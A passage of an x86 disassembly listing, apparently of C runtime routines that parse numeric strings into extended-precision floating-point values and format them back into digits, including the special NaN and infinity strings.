		pop	edi
		mov	[eax+8], edx
		mov	[eax], ecx
		pop	esi
		retn
sub_4250FD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42512A	proc near		; CODE XREF: sub_4251F1+3CAp

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	eax, [ebp+arg_4]
		push	ebx
		mov	ebx, [ebp+arg_8]
		xor	edx, edx
		cmp	eax, edx
		push	esi
		mov	[ebp+var_4], 404Eh
		mov	[ebx], edx
		mov	[ebx+4], edx
		mov	[ebx+8], edx
		jbe	short loc_42519E
		push	edi
		mov	[ebp+arg_8], eax


loc_425151:				; CODE XREF: sub_42512A+6Fj
		mov	esi, ebx
		lea	edi, [ebp+var_10]
		movsd
		movsd
		push	ebx
		movsd
		call	sub_4250CF
		push	ebx
		call	sub_4250CF
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		call	sub_425071
		push	ebx
		call	sub_4250CF
		mov	eax, [ebp+arg_0]
		and	[ebp+var_C], 0
		and	[ebp+var_8], 0
		movsx	eax, byte ptr [eax]
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		call	sub_425071
		add	esp, 1Ch
		inc	[ebp+arg_0]
		dec	[ebp+arg_8]
		jnz	short loc_425151
		xor	edx, edx
		pop	edi


loc_42519E:				; CODE XREF: sub_42512A+21j
					; sub_42512A+9Fj
		cmp	[ebx+8], edx
		jnz	short loc_4251CB
		mov	ecx, [ebx+4]
		mov	eax, ecx
		shr	eax, 10h
		mov	[ebx+8], eax
		mov	eax, [ebx]
		mov	esi, eax
		shr	esi, 10h
		shl	ecx, 10h
		or	esi, ecx
		shl	eax, 10h
		add	[ebp+var_4], 0FFF0h
		mov	[ebx+4], esi
		mov	[ebx], eax
		jmp	short loc_42519E
; ---------------------------------------------------------------------------


loc_4251CB:				; CODE XREF: sub_42512A+77j
		mov	esi, 8000h


loc_4251D0:				; CODE XREF: sub_42512A+B9j
		test	[ebx+8], esi
		jnz	short loc_4251E5
		push	ebx
		call	sub_4250CF
		add	[ebp+var_4], 0FFFFh
		pop	ecx
		jmp	short loc_4251D0
; ---------------------------------------------------------------------------


loc_4251E5:				; CODE XREF: sub_42512A+A9j
		mov	ax, word ptr [ebp+var_4]
		pop	esi
		mov	[ebx+0Ah], ax
		pop	ebx
		leave
		retn
sub_42512A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4251F1	proc near		; CODE XREF: sub_424518+17p
					; sub_424545+17p

var_5C		= byte ptr -5Ch
var_45		= byte ptr -45h
var_40		= dword	ptr -40h
var_3A		= dword	ptr -3Ah
var_36		= dword	ptr -36h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 5Ch
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_8]
		lea	eax, [ebp+var_5C]
		push	1
		mov	[ebp+var_C], eax
		xor	eax, eax
		pop	edx
		mov	[ebp+var_28], eax
		mov	[ebp+var_18], edx
		mov	[ebp+var_4], eax
		mov	[ebp+var_10], eax
		mov	[ebp+var_24], eax
		mov	[ebp+var_20], eax
		mov	[ebp+var_2C], eax
		mov	[ebp+var_30], eax
		mov	[ebp+var_1C], eax
		mov	[ebp+var_8], eax
		mov	[ebp+var_14], eax
		mov	[ebp+arg_8], edi


loc_42522C:				; CODE XREF: sub_4251F1+52j
		mov	cl, [edi]
		cmp	cl, 20h
		jz	short loc_425242
		cmp	cl, 9
		jz	short loc_425242
		cmp	cl, 0Ah
		jz	short loc_425242
		cmp	cl, 0Dh
		jnz	short loc_425245


loc_425242:				; CODE XREF: sub_4251F1+40j
					; sub_4251F1+45j ...
		inc	edi
		jmp	short loc_42522C
; ---------------------------------------------------------------------------


loc_425245:				; CODE XREF: sub_4251F1+4Fj
		push	4
		pop	esi


loc_425248:				; CODE XREF: sub_4251F1+AEj
					; sub_4251F1+B7j ...
		mov	bl, [edi]
		inc	edi
		cmp	eax, 0Bh	; switch 12 cases
		ja	loc_4254CB	; default
					; jumptable 00425254 case 10
		jmp	off_425692[eax*4] ; switch jump


loc_42525B:				; DATA XREF: ___:off_425692o
		cmp	bl, 31h		; jumptable 00425254 case 0
		jl	short loc_42526C
		cmp	bl, 39h
		jg	short loc_42526C


loc_425265:				; CODE XREF: sub_4251F1+C4j
					; sub_4251F1+118j
		push	3
		jmp	loc_425489
; ---------------------------------------------------------------------------


loc_42526C:				; CODE XREF: sub_4251F1+6Dj
					; sub_4251F1+72j
		cmp	bl, byte_43C508
		jnz	short loc_42527B


loc_425274:				; CODE XREF: sub_4251F1+124j
		push	5
		jmp	loc_4254C1
; ---------------------------------------------------------------------------


loc_42527B:				; CODE XREF: sub_4251F1+81j
		movsx	eax, bl
		sub	eax, 2Bh
		jz	short loc_4252A1
		dec	eax
		dec	eax
		jz	short loc_425295
		sub	eax, 3
		jnz	loc_425564
		jmp	loc_425324
; ---------------------------------------------------------------------------


loc_425295:				; CODE XREF: sub_4251F1+94j
		push	2
		mov	[ebp+var_28], 8000h
		pop	eax
		jmp	short loc_425248
; ---------------------------------------------------------------------------


loc_4252A1:				; CODE XREF: sub_4251F1+90j
		and	[ebp+var_28], 0
		push	2
		pop	eax
		jmp	short loc_425248
; ---------------------------------------------------------------------------


loc_4252AA:				; CODE XREF: sub_4251F1+63j
					; DATA XREF: ___:off_425692o
		cmp	bl, 31h		; jumptable 00425254 case 1
		mov	[ebp+var_10], edx
		jl	short loc_4252B7
		cmp	bl, 39h
		jle	short loc_425265


loc_4252B7:				; CODE XREF: sub_4251F1+BFj
		cmp	bl, byte_43C508
		jz	loc_42537F
		cmp	bl, 2Bh
		jz	short loc_4252F9
		cmp	bl, 2Dh
		jz	short loc_4252F9
		cmp	bl, 30h
		jz	short loc_425324


loc_4252D2:				; CODE XREF: sub_4251F1+207j
		cmp	bl, 43h
		jle	loc_425564
		cmp	bl, 45h
		jle	short loc_4252F2
		cmp	bl, 63h
		jle	loc_425564
		cmp	bl, 65h
		jg	loc_425564


loc_4252F2:				; CODE XREF: sub_4251F1+EDj
		push	6
		jmp	loc_4254C1
; ---------------------------------------------------------------------------


loc_4252F9:				; CODE XREF: sub_4251F1+D5j
					; sub_4251F1+DAj ...
		dec	edi
		push	0Bh
		jmp	loc_4254C1
; ---------------------------------------------------------------------------


loc_425301:				; CODE XREF: sub_4251F1+63j
					; DATA XREF: ___:off_425692o
		cmp	bl, 31h		; jumptable 00425254 case 2
		jl	short loc_42530F
		cmp	bl, 39h
		jle	loc_425265


loc_42530F:				; CODE XREF: sub_4251F1+113j
		cmp	bl, byte_43C508
		jz	loc_425274
		cmp	bl, 30h
		jnz	loc_4254D9


loc_425324:				; CODE XREF: sub_4251F1+9Fj
					; sub_4251F1+DFj
		mov	eax, edx
		jmp	loc_425248
; ---------------------------------------------------------------------------


loc_42532B:				; CODE XREF: sub_4251F1+63j
					; DATA XREF: ___:off_425692o
		mov	[ebp+var_10], edx ; jumptable 00425254 case 3


loc_42532E:				; CODE XREF: sub_4251F1+184j
		cmp	dword_43C504, edx
		jle	short loc_425347
		movzx	eax, bl
		push	esi
		push	eax
		call	sub_41F515
		pop	ecx
		pop	ecx
		push	1
		pop	edx
		jmp	short loc_425355
; ---------------------------------------------------------------------------


loc_425347:				; CODE XREF: sub_4251F1+143j
		mov	ecx, off_43C2F8
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, esi


loc_425355:				; CODE XREF: sub_4251F1+154j
		test	eax, eax
		jz	short loc_425377
		cmp	[ebp+var_4], 19h
		jnb	short loc_42536F
		mov	eax, [ebp+var_C]
		inc	[ebp+var_4]
		sub	bl, 30h
		inc	[ebp+var_C]
		mov	[eax], bl
		jmp	short loc_425372
; ---------------------------------------------------------------------------


loc_42536F:				; CODE XREF: sub_4251F1+16Cj
		inc	[ebp+var_8]


loc_425372:				; CODE XREF: sub_4251F1+17Cj
		mov	bl, [edi]
		inc	edi
		jmp	short loc_42532E
; ---------------------------------------------------------------------------


loc_425377:				; CODE XREF: sub_4251F1+166j
		cmp	bl, byte_43C508
		jnz	short loc_4253E6


loc_42537F:				; CODE XREF: sub_4251F1+CCj
		mov	eax, esi
		jmp	loc_425248
; ---------------------------------------------------------------------------


loc_425386:				; CODE XREF: sub_4251F1+63j
					; DATA XREF: ___:off_425692o
		cmp	[ebp+var_4], 0	; jumptable 00425254 case 4
		mov	[ebp+var_10], edx
		mov	[ebp+var_24], edx
		jnz	short loc_42539F


loc_425392:				; CODE XREF: sub_4251F1+1ACj
		cmp	bl, 30h
		jnz	short loc_42539F
		dec	[ebp+var_8]
		mov	bl, [edi]
		inc	edi
		jmp	short loc_425392
; ---------------------------------------------------------------------------


loc_42539F:				; CODE XREF: sub_4251F1+19Fj
					; sub_4251F1+1A4j ...
		cmp	dword_43C504, edx
		jle	short loc_4253B8
		movzx	eax, bl
		push	esi
		push	eax
		call	sub_41F515
		pop	ecx
		pop	ecx
		push	1
		pop	edx
		jmp	short loc_4253C6
; ---------------------------------------------------------------------------


loc_4253B8:				; CODE XREF: sub_4251F1+1B4j
		mov	ecx, off_43C2F8
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, esi


loc_4253C6:				; CODE XREF: sub_4251F1+1C5j
		test	eax, eax
		jz	short loc_4253E6
		cmp	[ebp+var_4], 19h
		jnb	short loc_4253E1
		mov	eax, [ebp+var_C]
		inc	[ebp+var_4]
		sub	bl, 30h
		inc	[ebp+var_C]
		dec	[ebp+var_8]
		mov	[eax], bl


loc_4253E1:				; CODE XREF: sub_4251F1+1DDj
		mov	bl, [edi]
		inc	edi
		jmp	short loc_42539F
; ---------------------------------------------------------------------------


loc_4253E6:				; CODE XREF: sub_4251F1+18Cj
					; sub_4251F1+1D7j
		cmp	bl, 2Bh
		jz	loc_4252F9
		cmp	bl, 2Dh
		jz	loc_4252F9
		jmp	loc_4252D2
; ---------------------------------------------------------------------------


loc_4253FD:				; CODE XREF: sub_4251F1+63j
					; DATA XREF: ___:off_425692o
		cmp	dword_43C504, edx ; jumptable 00425254 case 5
		mov	[ebp+var_24], edx
		jle	short loc_425419
		movzx	eax, bl
		push	esi
		push	eax
		call	sub_41F515
		pop	ecx
		pop	ecx
		push	1
		pop	edx
		jmp	short loc_425427
; ---------------------------------------------------------------------------


loc_425419:				; CODE XREF: sub_4251F1+215j
		mov	ecx, off_43C2F8
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, esi


loc_425427:				; CODE XREF: sub_4251F1+226j
		test	eax, eax
		jz	loc_4254D9
		mov	eax, esi
		jmp	short loc_42548A
; ---------------------------------------------------------------------------


loc_425433:				; CODE XREF: sub_4251F1+63j
					; DATA XREF: ___:off_425692o
		lea	ecx, [edi-2]	; jumptable 00425254 case 6
		cmp	bl, 31h
		mov	[ebp+arg_8], ecx
		jl	short loc_425443
		cmp	bl, 39h
		jle	short loc_425487


loc_425443:				; CODE XREF: sub_4251F1+24Bj
		movsx	eax, bl
		sub	eax, 2Bh
		jz	short loc_4254BF
		dec	eax
		dec	eax
		jz	short loc_4254B3
		sub	eax, 3
		jnz	loc_425567


loc_425458:				; CODE XREF: sub_4251F1+2A4j
		push	8
		jmp	short loc_4254C1
; ---------------------------------------------------------------------------


loc_42545C:				; CODE XREF: sub_4251F1+63j
					; DATA XREF: ___:off_425692o
		mov	[ebp+var_20], edx ; jumptable 00425254 case 8


loc_42545F:				; CODE XREF: sub_4251F1+276j
		cmp	bl, 30h
		jnz	short loc_425469
		mov	bl, [edi]
		inc	edi
		jmp	short loc_42545F
; ---------------------------------------------------------------------------


loc_425469:				; CODE XREF: sub_4251F1+271j
		cmp	bl, 31h
		jl	loc_425564
		cmp	bl, 39h
		jg	loc_425564
		jmp	short loc_425487
; ---------------------------------------------------------------------------


loc_42547D:				; CODE XREF: sub_4251F1+63j
					; DATA XREF: ___:off_425692o
		cmp	bl, 31h		; jumptable 00425254 case 7
		jl	short loc_425490
		cmp	bl, 39h
		jg	short loc_425490


loc_425487:				; CODE XREF: sub_4251F1+250j
					; sub_4251F1+28Aj
		push	9


loc_425489:				; CODE XREF: sub_4251F1+76j
		pop	eax


loc_42548A:				; CODE XREF: sub_4251F1+240j
		dec	edi
		jmp	loc_425248
; ---------------------------------------------------------------------------


loc_425490:				; CODE XREF: sub_4251F1+28Fj
					; sub_4251F1+294j
		cmp	bl, 30h
		jnz	short loc_4254D9
		jmp	short loc_425458
; ---------------------------------------------------------------------------


loc_425497:				; CODE XREF: sub_4251F1+63j
					; DATA XREF: ___:off_425692o
		cmp	[ebp+arg_18], 0	; jumptable 00425254 case 11
		jz	short loc_4254C7
		movsx	eax, bl
		lea	ecx, [edi-1]
		sub	eax, 2Bh
		mov	[ebp+arg_8], ecx
		jz	short loc_4254BF
		dec	eax
		dec	eax
		jnz	loc_425567


loc_4254B3:				; CODE XREF: sub_4251F1+25Cj
		or	[ebp+var_18], 0FFFFFFFFh
		push	7
		pop	eax
		jmp	loc_425248
; ---------------------------------------------------------------------------


loc_4254BF:				; CODE XREF: sub_4251F1+258j
					; sub_4251F1+2B8j
		push	7


loc_4254C1:				; CODE XREF: sub_4251F1+85j
					; sub_4251F1+103j ...
		pop	eax
		jmp	loc_425248
; ---------------------------------------------------------------------------


loc_4254C7:				; CODE XREF: sub_4251F1+2AAj
		push	0Ah
		dec	edi
		pop	eax


loc_4254CB:				; CODE XREF: sub_4251F1+5Dj
					; sub_4251F1+63j
					; DATA XREF: ...
		cmp	eax, 0Ah	; default
					; jumptable 00425254 case 10
		jz	loc_425569
		jmp	loc_425248
; ---------------------------------------------------------------------------


loc_4254D9:				; CODE XREF: sub_4251F1+12Dj
					; sub_4251F1+238j ...
		mov	edi, [ebp+arg_8]
		jmp	loc_425569
; ---------------------------------------------------------------------------


loc_4254E1:				; CODE XREF: sub_4251F1+63j
					; DATA XREF: ___:off_425692o
		mov	[ebp+var_20], 1	; jumptable 00425254 case 9
		xor	esi, esi


loc_4254EA:				; CODE XREF: sub_4251F1+339j
		cmp	dword_43C504, 1
		jle	short loc_425502
		movzx	eax, bl
		push	4
		push	eax
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_425511
; ---------------------------------------------------------------------------


loc_425502:				; CODE XREF: sub_4251F1+300j
		mov	ecx, off_43C2F8
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 4


loc_425511:				; CODE XREF: sub_4251F1+30Fj
		test	eax, eax
		jz	short loc_425531
		movsx	ecx, bl
		lea	eax, [esi+esi*4]
		lea	esi, [ecx+eax*2-30h]
		cmp	esi, 1450h
		jg	short loc_42552C
		mov	bl, [edi]
		inc	edi
		jmp	short loc_4254EA
; ---------------------------------------------------------------------------


loc_42552C:				; CODE XREF: sub_4251F1+334j
		mov	esi, 1451h


loc_425531:				; CODE XREF: sub_4251F1+322j
		mov	[ebp+var_1C], esi


loc_425534:				; CODE XREF: sub_4251F1+371j
		cmp	dword_43C504, 1
		jle	short loc_42554C
		movzx	eax, bl
		push	4
		push	eax
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_42555B
; ---------------------------------------------------------------------------


loc_42554C:				; CODE XREF: sub_4251F1+34Aj
		mov	ecx, off_43C2F8
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 4


loc_42555B:				; CODE XREF: sub_4251F1+359j
		test	eax, eax
		jz	short loc_425564
		mov	bl, [edi]
		inc	edi
		jmp	short loc_425534
; ---------------------------------------------------------------------------


loc_425564:				; CODE XREF: sub_4251F1+99j
					; sub_4251F1+E4j ...
		dec	edi
		jmp	short loc_425569
; ---------------------------------------------------------------------------


loc_425567:				; CODE XREF: sub_4251F1+261j
					; sub_4251F1+2BCj
		mov	edi, ecx


loc_425569:				; CODE XREF: sub_4251F1+2DDj
					; sub_4251F1+2EBj ...
		mov	eax, [ebp+arg_4]
		cmp	[ebp+var_10], 0
		mov	[eax], edi
		jz	loc_425651
		push	18h
		pop	eax
		cmp	[ebp+var_4], eax
		jbe	short loc_425595
		cmp	[ebp+var_45], 5
		jl	short loc_425589
		inc	[ebp+var_45]


loc_425589:				; CODE XREF: sub_4251F1+393j
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_C]
		dec	eax
		inc	[ebp+var_8]
		jmp	short loc_425598
; ---------------------------------------------------------------------------


loc_425595:				; CODE XREF: sub_4251F1+38Dj
		mov	eax, [ebp+var_C]


loc_425598:				; CODE XREF: sub_4251F1+3A2j
		cmp	[ebp+var_4], 0
		jbe	loc_425647


loc_4255A2:				; CODE XREF: sub_4251F1+3BDj
		dec	eax
		cmp	byte ptr [eax],	0
		jnz	short loc_4255B0
		dec	[ebp+var_4]
		inc	[ebp+var_8]
		jmp	short loc_4255A2
; ---------------------------------------------------------------------------


loc_4255B0:				; CODE XREF: sub_4251F1+3B5j
		lea	eax, [ebp+var_40]
		push	eax
		lea	eax, [ebp+var_5C]
		push	[ebp+var_4]
		push	eax
		call	sub_42512A
		mov	eax, [ebp+var_1C]
		xor	ecx, ecx
		add	esp, 0Ch
		cmp	[ebp+var_18], ecx
		jge	short loc_4255CF
		neg	eax


loc_4255CF:				; CODE XREF: sub_4251F1+3DAj
		add	eax, [ebp+var_8]
		cmp	[ebp+var_20], ecx
		jnz	short loc_4255DA
		add	eax, [ebp+arg_10]


loc_4255DA:				; CODE XREF: sub_4251F1+3E4j
		cmp	[ebp+var_24], ecx
		jnz	short loc_4255E2
		sub	eax, [ebp+arg_14]


loc_4255E2:				; CODE XREF: sub_4251F1+3ECj
		cmp	eax, 1450h
		jle	short loc_425619
		mov	[ebp+var_2C], 1


loc_4255F0:				; CODE XREF: sub_4251F1+436j
		mov	ebx, [ebp+arg_8]
		mov	esi, [ebp+arg_8]
		mov	eax, [ebp+arg_8]
		mov	edx, [ebp+arg_8]


loc_4255FC:				; CODE XREF: sub_4251F1+454j
					; sub_4251F1+45Ej
		cmp	[ebp+var_2C], 0
		jz	short loc_425662
		xor	ebx, ebx
		mov	eax, 7FFFh
		mov	esi, 80000000h
		xor	edx, edx
		mov	[ebp+var_14], 2
		jmp	short loc_425677
; ---------------------------------------------------------------------------


loc_425619:				; CODE XREF: sub_4251F1+3F6j
		cmp	eax, 0FFFFEBB0h
		jge	short loc_425629
		mov	[ebp+var_30], 1
		jmp	short loc_4255F0
; ---------------------------------------------------------------------------


loc_425629:				; CODE XREF: sub_4251F1+42Dj
		push	[ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_40]
		push	eax
		call	sub_425DDA
		mov	edx, [ebp+var_40]
		mov	ebx, [ebp+var_40+2]
		mov	esi, [ebp+var_3A]
		mov	eax, [ebp+var_36]
		add	esp, 0Ch
		jmp	short loc_4255FC
; ---------------------------------------------------------------------------


loc_425647:				; CODE XREF: sub_4251F1+3ABj
		xor	edx, edx
		xor	eax, eax
		xor	esi, esi
		xor	ebx, ebx
		jmp	short loc_4255FC
; ---------------------------------------------------------------------------


loc_425651:				; CODE XREF: sub_4251F1+381j
		xor	edx, edx
		xor	eax, eax
		xor	esi, esi
		xor	ebx, ebx
		mov	[ebp+var_14], 4
		jmp	short loc_425677
; ---------------------------------------------------------------------------


loc_425662:				; CODE XREF: sub_4251F1+40Fj
		cmp	[ebp+var_30], 0
		jz	short loc_425677
		xor	edx, edx
		xor	eax, eax
		xor	esi, esi
		xor	ebx, ebx
		mov	[ebp+var_14], 1


loc_425677:				; CODE XREF: sub_4251F1+426j
					; sub_4251F1+46Fj ...
		mov	ecx, [ebp+arg_0]
		or	eax, [ebp+var_28]
		pop	edi
		mov	[ecx+6], esi
		mov	[ecx+2], ebx
		mov	[ecx+0Ah], ax
		mov	eax, [ebp+var_14]
		pop	esi
		mov	[ecx], dx
		pop	ebx
		leave
		retn
sub_4251F1	endp

; ---------------------------------------------------------------------------
off_425692	dd offset loc_42525B	; DATA XREF: sub_4251F1+63r
		dd offset loc_4252AA	; jump table for switch	statement
		dd offset loc_425301
		dd offset loc_42532B
		dd offset loc_425386
		dd offset loc_4253FD
		dd offset loc_425433
		dd offset loc_42547D
		dd offset loc_42545C
		dd offset loc_4254E1
		dd offset loc_4254CB
		dd offset loc_425497

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4256C2	proc near		; CODE XREF: sub_4245E9+2Cp

var_1C		= byte ptr -1Ch
var_1B		= byte ptr -1Bh
var_1A		= byte ptr -1Ah
var_19		= byte ptr -19h
var_18		= byte ptr -18h
var_17		= byte ptr -17h
var_16		= byte ptr -16h
var_15		= byte ptr -15h
var_14		= byte ptr -14h
var_13		= byte ptr -13h
var_12		= byte ptr -12h
var_11		= byte ptr -11h
var_10		= word ptr -10h
var_E		= dword	ptr -0Eh
var_A		= dword	ptr -0Ah
var_6		= word ptr -6
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= byte ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		mov	eax, [ebp+arg_8]
		push	ebx
		mov	ebx, [ebp+arg_14]
		push	esi
		mov	ecx, eax
		mov	esi, 7FFFh
		and	ecx, 8000h
		and	eax, esi
		test	cx, cx
		push	edi
		mov	[ebp+var_1C], 0CCh
		mov	[ebp+var_1B], 0CCh
		mov	[ebp+var_1A], 0CCh
		mov	[ebp+var_19], 0CCh
		mov	[ebp+var_18], 0CCh
		mov	[ebp+var_17], 0CCh
		mov	[ebp+var_16], 0CCh
		mov	[ebp+var_15], 0CCh
		mov	[ebp+var_14], 0CCh
		mov	[ebp+var_13], 0CCh
		mov	[ebp+var_12], 0FBh
		mov	[ebp+var_11], 3Fh
		mov	[ebp+var_4], 1
		mov	edx, eax
		jz	short loc_425724
		mov	byte ptr [ebx+2], 2Dh
		jmp	short loc_425728
; ---------------------------------------------------------------------------


loc_425724:				; CODE XREF: sub_4256C2+5Aj
		mov	byte ptr [ebx+2], 20h


loc_425728:				; CODE XREF: sub_4256C2+60j
		mov	edi, [ebp+arg_4]
		test	dx, dx
		jnz	short loc_42574E
		test	edi, edi
		jnz	short loc_42574E
		cmp	[ebp+arg_0], edi
		jnz	short loc_42574E


loc_425739:				; CODE XREF: sub_4256C2+181j
		and	word ptr [ebx],	0
		mov	byte ptr [ebx+2], 20h
		mov	byte ptr [ebx+3], 1
		mov	byte ptr [ebx+4], 30h
		jmp	loc_42594C
; ---------------------------------------------------------------------------


loc_42574E:				; CODE XREF: sub_4256C2+6Cj
					; sub_4256C2+70j ...
		cmp	dx, si
		jnz	short loc_4257CD
		mov	eax, 80000000h
		mov	word ptr [ebx],	1
		cmp	edi, eax
		jnz	short loc_425767
		cmp	[ebp+arg_0], 0
		jz	short loc_425776


loc_425767:				; CODE XREF: sub_4256C2+9Dj
		test	edi, 40000000h
		jnz	short loc_425776
		push	offset a1Snan	; "1#SNAN"
		jmp	short loc_4257BC
; ---------------------------------------------------------------------------


loc_425776:				; CODE XREF: sub_4256C2+A3j
					; sub_4256C2+ABj
		test	cx, cx
		jz	short loc_425790
		cmp	edi, 0C0000000h
		jnz	short loc_425790
		cmp	[ebp+arg_0], 0
		jnz	short loc_4257B7
		push	offset a1Ind	; "1#IND"
		jmp	short loc_42579F
; ---------------------------------------------------------------------------


loc_425790:				; CODE XREF: sub_4256C2+B7j
					; sub_4256C2+BFj
		cmp	edi, eax
		jnz	short loc_4257B7
		cmp	[ebp+arg_0], 0
		jnz	short loc_4257B7
		push	offset a1Inf	; "1#INF"


loc_42579F:				; CODE XREF: sub_4256C2+CCj
		lea	eax, [ebx+4]
		push	eax
		call	sub_41BEB0
		pop	ecx
		mov	byte ptr [ebx+3], 5
		pop	ecx


loc_4257AE:				; CODE XREF: sub_4256C2+109j
		and	[ebp+var_4], 0
		jmp	loc_425925
; ---------------------------------------------------------------------------


loc_4257B7:				; CODE XREF: sub_4256C2+C5j
					; sub_4256C2+D0j ...
		push	offset a1Qnan	; "1#QNAN"


loc_4257BC:				; CODE XREF: sub_4256C2+B2j
		lea	eax, [ebx+4]
		push	eax
		call	sub_41BEB0
		pop	ecx
		mov	byte ptr [ebx+3], 6
		pop	ecx
		jmp	short loc_4257AE
; ---------------------------------------------------------------------------


loc_4257CD:				; CODE XREF: sub_4256C2+8Fj
		movzx	eax, dx
		mov	ecx, edi
		mov	esi, eax
		shr	ecx, 18h
		imul	eax, 4D10h
		shr	esi, 8
		and	[ebp+var_10], 0
		push	1
		lea	ecx, [esi+ecx*2]
		mov	[ebp+var_6], dx
		imul	ecx, 4Dh
		mov	[ebp+var_A], edi
		lea	esi, [ecx+eax-134312F4h]
		mov	eax, [ebp+arg_0]
		sar	esi, 10h
		mov	[ebp+var_E], eax
		movsx	eax, si
		neg	eax
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_425DDA
		add	esp, 0Ch
		cmp	[ebp+var_6], 3FFFh
		jb	short loc_42582E
		lea	eax, [ebp+var_1C]
		inc	esi
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_425BBA
		pop	ecx
		pop	ecx


loc_42582E:				; CODE XREF: sub_4256C2+15Aj
		test	[ebp+arg_10], 1
		mov	[ebx], si
		jz	short loc_425848
		mov	edi, [ebp+arg_C]
		movsx	eax, si
		add	edi, eax
		test	edi, edi
		jg	short loc_42584B
		jmp	loc_425739
; ---------------------------------------------------------------------------


loc_425848:				; CODE XREF: sub_4256C2+173j
		mov	edi, [ebp+arg_C]


loc_42584B:				; CODE XREF: sub_4256C2+17Fj
		cmp	edi, 15h
		jle	short loc_425853
		push	15h
		pop	edi


loc_425853:				; CODE XREF: sub_4256C2+18Cj
		movzx	esi, [ebp+var_6]
		sub	esi, 3FFEh
		and	[ebp+var_6], 0
		mov	[ebp+arg_14], 8


loc_425869:				; CODE XREF: sub_4256C2+1B4j
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_4250CF
		dec	[ebp+arg_14]
		pop	ecx
		jnz	short loc_425869
		test	esi, esi
		jge	short loc_425893
		neg	esi
		and	esi, 0FFh
		jle	short loc_425893


loc_425886:				; CODE XREF: sub_4256C2+1CFj
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_4250FD
		dec	esi
		pop	ecx
		jnz	short loc_425886


loc_425893:				; CODE XREF: sub_4256C2+1B8j
					; sub_4256C2+1C2j
		lea	ecx, [edi+1]
		lea	eax, [ebx+4]
		test	ecx, ecx
		mov	[ebp+arg_14], eax
		jle	short loc_4258F0
		mov	[ebp+arg_C], ecx


loc_4258A3:				; CODE XREF: sub_4256C2+229j
		lea	esi, [ebp+var_10]
		lea	edi, [ebp+arg_0]
		movsd
		movsd
		lea	eax, [ebp+var_10]
		push	eax
		movsd
		call	sub_4250CF
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_4250CF
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_425071
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_4250CF
		mov	al, byte ptr [ebp+var_6+1]
		mov	ecx, [ebp+arg_14]
		and	byte ptr [ebp+var_6+1],	0
		add	esp, 14h
		add	al, 30h
		inc	[ebp+arg_14]
		dec	[ebp+arg_C]
		mov	[ecx], al
		jnz	short loc_4258A3
		mov	eax, [ebp+arg_14]


loc_4258F0:				; CODE XREF: sub_4256C2+1DCj
		mov	cl, [eax-1]
		dec	eax
		dec	eax
		cmp	cl, 35h
		lea	ecx, [ebx+4]
		jl	short loc_42592D


loc_4258FD:				; CODE XREF: sub_4256C2+248j
		cmp	eax, ecx
		jb	short loc_425910
		cmp	byte ptr [eax],	39h
		jnz	short loc_42590C
		mov	byte ptr [eax],	30h
		dec	eax
		jmp	short loc_4258FD
; ---------------------------------------------------------------------------


loc_42590C:				; CODE XREF: sub_4256C2+242j
		cmp	eax, ecx
		jnb	short loc_425914


loc_425910:				; CODE XREF: sub_4256C2+23Dj
		inc	eax
		inc	word ptr [ebx]


loc_425914:				; CODE XREF: sub_4256C2+24Cj
		inc	byte ptr [eax]


loc_425916:				; CODE XREF: sub_4256C2+279j
		sub	al, bl
		sub	al, 3
		mov	[ebx+3], al
		movsx	eax, al
		and	byte ptr [eax+ebx+4], 0


loc_425925:				; CODE XREF: sub_4256C2+F0j
		mov	eax, [ebp+var_4]


loc_425928:				; CODE XREF: sub_4256C2+291j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_42592D:				; CODE XREF: sub_4256C2+239j
					; sub_4256C2+275j
		cmp	eax, ecx
		jb	short loc_42593D
		cmp	byte ptr [eax],	30h
		jnz	short loc_425939
		dec	eax
		jmp	short loc_42592D
; ---------------------------------------------------------------------------


loc_425939:				; CODE XREF: sub_4256C2+272j
		cmp	eax, ecx
		jnb	short loc_425916


loc_42593D:				; CODE XREF: sub_4256C2+26Dj
		and	word ptr [ebx],	0
